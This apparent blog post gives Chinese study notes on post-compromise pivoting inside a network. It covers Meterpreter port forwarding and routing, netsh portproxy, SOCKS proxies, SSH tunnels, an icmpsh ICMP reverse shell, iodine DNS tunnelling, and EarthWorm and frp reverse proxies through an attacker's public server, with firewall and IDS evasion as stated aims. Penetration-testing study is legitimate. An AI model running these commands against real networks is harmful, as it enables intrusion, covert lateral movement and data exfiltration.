内网渗透-通信
tcpdump -n -i eth0 udp dst port 53 抓取流量
端口转发
linux下的端口转发:iptables、firewall
meterpreter端口转发(反弹shell后,meterpreter输入)
portfwd add -l 9999 -r ip -p 80:添加路由
portfwd list:打印端口映射
portfwd delete -l 9999 -r ip -p 80:删除路由
msf通过木马,把本地9999端口的流量转发到远程机器(ip对应的机器)的80端口木马把80端口返回流量转发到攻击机本地9999端口(木马使用的一些指令是在内存中直接加载,不是木马本身所占磁盘大小的,所以木马就几k大小但却可实现端口转发)
windows端口转发:netsh(windows做端口转发需要administrator)
(1)端口转发命令
netsh interface portproxy add v4tov4 listenport=8888 connectaddress=ip connectport=80
将本地的8888端口流量转发到远程主机(ip对应的主机)的80端口,通常是拿到内网跳板机后执行端口转发
跳板机做端口转发时,可能遇到转发的跳板机端口(这里的8888)被封了,也就是防火墙拦了,解决方案:
- 找机器有提供服务的端口,把原有的服务关掉,用这个端口做端口转发
- 让跳板机访问自己,而不是自己去访问跳板机
- 使用ICMP协议,ICMP不用端口
(2)windows查看端口转发列表
netsh interface portproxy show all
(3)清除转发规则
netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset
msf内网操作
拿下跳板机后,通过跳板机建立路由、建立代理来对内网进行扫描、渗透
chcp 65001:更改编码格式,防止乱码
arp -a
sessions -i id:进入指定的session,也就是对应的meterpreter界面
内网路由
木马建立与内网的路由通道
(1)meterpreter直接路由
run autoroute -p:打印路由
run autoroute -s 192.168.57.0/24(一个网段)
run autoroute -d -s 192.168.57.0/24(删除指定路由)
(2)使用msf模块
route print:打印路由
run post/multi/manage/autoroute:自动添加木马所在主机的所有路由
(3)msf提示符
route add 192.168.57.0/24 1 (1代表session ID)
msf扫内网
use auxiliary/scanner/portscan/syn:扫描端口
auxiliary/scanner/discovery/udp_sweep:该模块扫描网段
Meterpreter->run get_local_subnets:获取网段
msf代理服务器
常见有socks代理、http代理
socks代理在七层模型比http代理更低层,功能更强大。
socks4代理只支持TCP,socks5代理只支持TCP、UDP
msf的socks代理模块
auxiliary/server/socks_proxy
jobs
jobs -k id 删除代理
linux的全局代理配置文件:vim /etc/proxychains4.conf
设置完上述配置文件后,在msf以外的命令行使用proxychains就可以使用代理
proxychains nmap ........(这里就可以使用配置的代理来用nmap扫描)
注意:proxychains只对TCP流量有效,所以不要用ping测试代理
路由只可以在msf中使用来攻击内网,因为它是通过木马来使用路由、建立连接
而通过msf的木马建立了代理之后,我们就可以在msf之外使用代理来攻击内网
隧道通信
隧道可以用做代理,但是隧道还可以用来隐蔽数据传输,过防火墙等检测系统。如DNS隧道就可以在DNS查询、响应中嵌入数据从而传输
Neo-regeorg(http正向隧道)
生成木马:
python neoreg.py generate -k 123456:123456是密钥
Neo-regeorg = msf生成php或jsp这些木马加路由+socks5代理
ssh隧道
目标服务器(跳板机)有ssh,开22端口
ssh本地转发
kali输入命令:
ssh -CfNg -L 8879:内网机器ip:80 uname@跳板机ip
输入跳板机的密码,访问本机127.0.0.1:8879,通过跳板机可以访问内网机器的80端口
这里其实就是跳板机做了个端口转发
ssh远程转发
win2016执行命令(需要kali开22端口也就是ssh):
ssh -CfNg -R 3333:内网机器ip:80 uname@kali的ip
输入kali的密码,访问内网机器的80端口
ICMP隧道
ICMP是相对底层的隧道,更隐蔽、不易检测,ping就是走的icmp。把tcp/udp数据封装到icmp
ping一般40几个字节,如果icmp隧道来攻击,数据会大一些,可以借此分析攻击行为。防火墙一般不拦截icmp,但容易被入侵检测系统发现(icmp是不加密的)
跳板机为windows
工具:icmpsh等
(1)kali运行
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #设置为0还原
因为icmpsh要代替系统本身的ping应答程序,所以需要修改上述值为1以关闭本地应答
开启服务端
python2 ./icmpsh_m.py ip1 跳板机ip
(2)跳板机运行icmpsh.exe
icmpsh.exe -t ip1
icmpsh.exe不用于powershell环境(powershell环境--NiShang)
跳板机为linux
工具:pingTunnel
DNS隧道
DNS几乎是不会被封的,因为需要解析域名,所以其他协议隧道用不了,用DNS隧道。
工具
dns3tcp:直连DNS隧道,快
iodine:支持转发模式、中继模式,慢。iodine使用c语言开发,原理是:在服务端通过TAP虚拟网卡,建立一个虚拟局域网,客户端建立一个虚拟网卡,二者通过DNS隧道连接,处于同一局域网。使用后客户端、服务端会出现一个dns0的网卡
条件需要域名、公网ip
(1)公网配置NS记录,方便把dns解析时的数据给到自己的公网机器
有个NS记录叫ns指向www.域名
而有个A记录www指向公网ip
vps记得开放53端口
(2)公网服务器安装iodine运行
iodined -f -c -P xxx 192.168.200.1 ns.域名 -DD
-f:前台运行
-c:禁止检查传入请求客户端ip地址
-P:指定客户端、服务端之间用于身份验证的密码(xxx)
-DD:调试级别为二级,D的数量表示几级
192.168.200.1是虚拟局域网的ip地址
(3)内网服务器安装iodine,执行
linux执行:iodine -f -P xxx 公网ip ns.域名
windows执行:iodine.exe -f -P xxx 公网ip ns.域名
利用DNS隧道创建socks5代理
(1)公网机器配置frps
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 12345678
执行:./frps -c frps.ini
(2)内网机器配置frpc
[common]
server_addr = 192.168.200.1 iodine建立的公网机器的虚拟ip(iodine服务端)
server_port = 7000
token = 12345678
[socks5_xm]
type = tcp
remote_port = 8089
plugin = socks5
use_encryption = true
use_compression = true
执行:./frpc -c frpc.ini
kali配置代理:socks5 公网ip 8089
DNS隧道包裹socks5代理流量
EarthWorm
正向代理
跳板机运行:
ew_for_win_32.exe -s ssocksd -l 1080
攻击机用跳板机ip:1080做代理
反向代理
需要有公网ip
(1)公网服务器运行:
./ew_for_linux64 -s rcsocks -l 8080 -e 8086
8080是kali用的代理端口(也就是kali与之通信的端口),8086是与跳板机通信的端口
(2)跳板机运行
ew_for_win_32.exe -s rssocks -d 公网ip -e 8086
建立与公网ip指定端口的通信
正向代理用于,跳板机有公网ip(攻击机可以访问到的情况)
反向代理用于,跳板机无法被访问,但是它可以出网(可以去访问公网ip),就可以利用公网ip做反向代理
端口映射
frp端口映射
ssh服务
需要公网ip
(1)公网机器配置frps.ini,使用./frps -c frps.ini启动
[common]
bind_port #frp服务端口
(2)内网机器配置内网frp客户端 frpc.ini
[common]
server_addr = 公网ip
server_port = 公网frp服务端端口
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8082 #设置为0是随机端口,8082是frp服务端监听的端口
任意机器输入ssh -p 8082 uname@公网ip
就可以访问内网机器的22端口(也就是ssh连接到内网机器)
利用公网机器做中间的代理人,来访问内网服务,内网穿透工具就是这么个原理,只是不一定是映射内网的ssh服务
标签:跳板,渗透,ip,转发,端口,通信,代理,问题,公网 From: https://www.cnblogs.com/q1stop/p/18093233